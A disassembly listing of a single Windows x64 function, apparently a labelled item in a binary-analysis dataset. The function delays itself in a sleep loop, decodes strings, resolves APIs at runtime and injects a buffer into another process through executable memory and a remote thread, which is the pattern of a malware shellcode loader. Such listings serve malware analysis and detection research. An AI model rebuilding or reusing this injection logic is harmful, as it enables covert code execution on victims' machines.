Function at 0x140002ad0
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov ebx, 0xfa0
call fcn.140001540
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
mov ecx, 0xa
call rsi
sub ebx, 1
jne 0x140002af8
mov rax, qword [0x14029e690]
mov rsi, qword [0x14029e510]
mov rbx, qword [0x14029e680]
mov r8, qword [0x14029e500]
movsxd rdx, dword [rax]
movsxd r9, dword [rsi]
mov rcx, rbx
call fcn.140002a80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140002e3a
mov rax, qword [0x14029e5b0]
mov rdi, qword [0x14029e5a0]
movsxd r9, dword [rsi]
mov r8, qword [0x14029e500]
movsxd rdx, dword [rax]
mov rcx, rdi
call fcn.140002a80
mov rdx, rdi
mov rcx, rbx
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
mov rbp, qword [0x14029e560]
movsxd r9, dword [rsi]
mov qword [0x14018c8f0], rax
mov rax, qword [0x14029e570]
mov r8, qword [0x14029e500]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.140002a80
mov rdx, rbp
mov rcx, rbx
call rdi
mov r12, qword [0x14029e660]
movsxd r9, dword [rsi]
mov rbp, rax
mov rax, qword [0x14029e670]
mov r8, qword [0x14029e500]
mov rcx, r12
movsxd rdx, dword [rax]
call fcn.140002a80
mov rdx, r12
mov rcx, rbx
call rdi
mov r13, qword [0x14029e580]
movsxd r9, dword [rsi]
mov r12, rax
mov rax, qword [0x14029e590]
mov r8, qword [0x14029e500]
mov rcx, r13
movsxd rdx, dword [rax]
call fcn.140002a80
mov rdx, r13
mov rcx, rbx
call rdi
mov r13, qword [0x14029e5e0]
movsxd r9, dword [rsi]
mov qword [0x14018c8e0], rax
mov rax, qword [0x14029e5f0]
mov r8, qword [0x14029e500]
mov rcx, r13
movsxd rdx, dword [rax]
call fcn.140002a80
mov rdx, r13
mov rcx, rbx
call rdi
mov r13, qword [0x14029e600]
movsxd r9, dword [rsi]
mov qword [0x14018c900], rax
mov rax, qword [0x14029e610]
mov r8, qword [0x14029e500]
mov rcx, r13
movsxd rdx, dword [rax]
call fcn.140002a80
mov rdx, r13
mov rcx, rbx
call rdi
mov r13, qword [0x14029e540]
movsxd r9, dword [rsi]
mov qword [0x14018c910], rax
mov rax, qword [0x14029e550]
mov r8, qword [0x14029e500]
mov rcx, r13
movsxd rdx, dword [rax]
call fcn.140002a80
mov rdx, r13
mov rcx, rbx
call rdi
mov r13, qword [0x14029e630]
movsxd r9, dword [rsi]
mov qword [0x14018c8d0], rax
mov rax, qword [0x14029e640]
mov r8, qword [0x14029e500]
mov rcx, r13
movsxd rdx, dword [rax]
call fcn.140002a80
mov rdx, r13
mov rcx, rbx
call rdi
mov r13, qword [0x14029e620]
movsxd r9, dword [rsi]
mov r14, rax
mov rax, qword [0x14029e650]
mov r8, qword [0x14029e500]
mov rcx, r13
movsxd rdx, dword [rax]
call fcn.140002a80
mov rdx, r13
mov rcx, rbx
call rdi
mov r15, qword [0x14029e5c0]
movsxd r9, dword [rsi]
mov r13, rax
mov rax, qword [0x14029e5d0]
mov r8, qword [0x14029e500]
mov rcx, r15
movsxd rdx, dword [rax]
call fcn.140002a80
mov rcx, rbx
mov rdx, r15
call rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x28], 0
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rax
mov r8d, 0x1000
call r14
test rax, rax
je 0x140002e41
mov rax, qword [0x14029e6b0]
mov rdi, qword [0x14029e6a0]
movsxd r9, dword [rsi]
mov r8, qword [0x14029e500]
movsxd rdx, dword [rax]
mov rcx, rdi
call fcn.140002a80
mov rcx, rdi
call fcn.1400029e0
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call rbx
mov rbx, rax
test rax, rax
je 0x140002e48
mov r14, qword [0x14029e530]
mov r9d, 0x3000
xor edx, edx
mov rcx, rax
movsxd r8, dword [r14]
mov dword [rsp + 0x20], 0x40
call r13
movsxd r9, dword [rsi]
movsxd rdx, dword [r14]
mov rsi, qword [0x14029e520]
mov r8, qword [0x14029e500]
mov rdi, rax
mov rcx, rsi
call fcn.140002a80
movsxd r9, dword [r14]
mov r8, rsi
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov rcx, rbx
call r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rbp
mov rcx, rbx
call qword [0x14018c8d0]
xor eax, eax
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 4
jmp 0x140002e29
mov eax, 0xfffffffd
jmp 0x140002e29
or eax, 0xffffffff
jmp 0x140002e29